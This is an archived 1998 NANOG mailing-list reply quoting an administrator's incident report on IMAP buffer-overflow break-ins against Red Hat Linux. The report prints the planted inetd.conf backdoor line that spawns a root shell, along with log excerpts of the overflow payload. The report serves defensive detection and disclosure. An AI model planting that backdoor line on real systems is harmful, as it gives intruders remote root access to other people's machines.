|
North American Network Operators Group Date Prev | Date Next | Date Index | Thread Index | Author Index | Historical Re: IMAP attacks continue
It was not a hacker, it was the lamer. If it was the hacker, the simple checks you have produce did not show anything wrong. On Mon, 23 Nov 1998, Phil Howard wrote: > Date: Mon, 23 Nov 1998 07:39:57 -0600 (CST) > From: Phil Howard <[email protected]> > To: Daniel Senie <[email protected]> > Cc: [email protected] > Subject: Re: IMAP attacks continue > > Daniel Senie wrote: > > > The frequency of IMAP attacks is increasing, and the number of IP > > addresses scanned per attack seems to be increasing as well. In the last > > 24 hours, I've been scanned by: > > > > fermi.math.csi.cuny.edu > > c149.lib.uci.edu > > sockeye.cob.calpoly.edu > > quebec.upa.qc.ca > > > > Anyone upstream of any of these able to add a Sniffer? It'd be > > interesting to see if someone is connected in via telnet or ssh and > > launching the attacks remotely. With all of these types of attack in the > > last several days, the systems doing the attacking have all been ones > > that were compromised. > > I found a machine that had Red Hat 5.1 unmodified running on it, and it > got hit. So I closed things off and looked around for damage and found > the following: > > 1. Syslogd had been killed off and the syslog file deleted. > > 2. A backdoor was installed in /etc/inetd.conf as follows: > > ttalk stream tcp nowait root /bin/sh sh -i > > I've temporarily added filters to block TCP ports 143 and 666 coming in > to my network (will have to open 143 back up if any of my customers are > using IMAP to their own servers from outside, but we don't do IMAP, yet, > so it's not an impact on me). Whether or not it is practical to do it > on your network is something you'll have to figure out. But I would > check any machines you have that might be at risk for these intrusion > signatures. I can't imagine any reason anyone would execute any shell > from inetd, so if you find /bin/*sh in inetd.conf, worry (and take it > out). > > I don't know if these attacks are specific to Red Hat Linux or if other > UNIX systems are at risk. My Sparc/Linux box logged at attempted attack > that failed, possibly because the architecture wouldn't run the binary > code the attacker put in the buffer overflow. This is what I found in > the log (times are CST with NTP running): > > Nov 20 14:55:07 rigel pam[6172]: pam_get_user: no username obtained > Nov 20 14:55:56 rigel imapd[6174]: System break-in attempt, host=1Cust149.tnt1.new-york.ny.da.uu.net [208.250.139.149] > Nov 20 14:55:56 rigel > Nov 20 14:55:56 rigel syslogd: Cannot glue message parts together > Nov 20 14:55:56 rigel 22>Nov 20 14:55:56 imapd[6174]: AUTHENTICATE ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P! ! ^P! > ! > ! > ! > ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P > Nov 20 14:55:56 rigel ^IF^L0^K^Is^MN^H^MV^LM > Nov 20 15:16:43 rigel imapd[6209]: System break-in attempt, host=usr3-20.gdi.net [209.26.33.148] > Nov 20 15:16:43 rigel syslogd: Cannot glue message parts together > Nov 20 15:16:44 rigel ^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^Pk8^ > > -- > -- *-----------------------------* Phil Howard KA9WGN * -- > -- | Inturnet, Inc. | Director of Internet Services | -- > -- | Business Internet Solutions | eng at intur.net | -- > -- *-----------------------------* philh at intur.net * -- > Aleksei Roudnev, Network Operations Center, Relcom, Moscow (+7 095) 194-19-95 (Network Operations Center Hot Line),(+7 095) 239-10-10, N 13729 (pager) (+7 095) 196-72-12 (Support), (+7 095) 194-33-28 (Fax)
|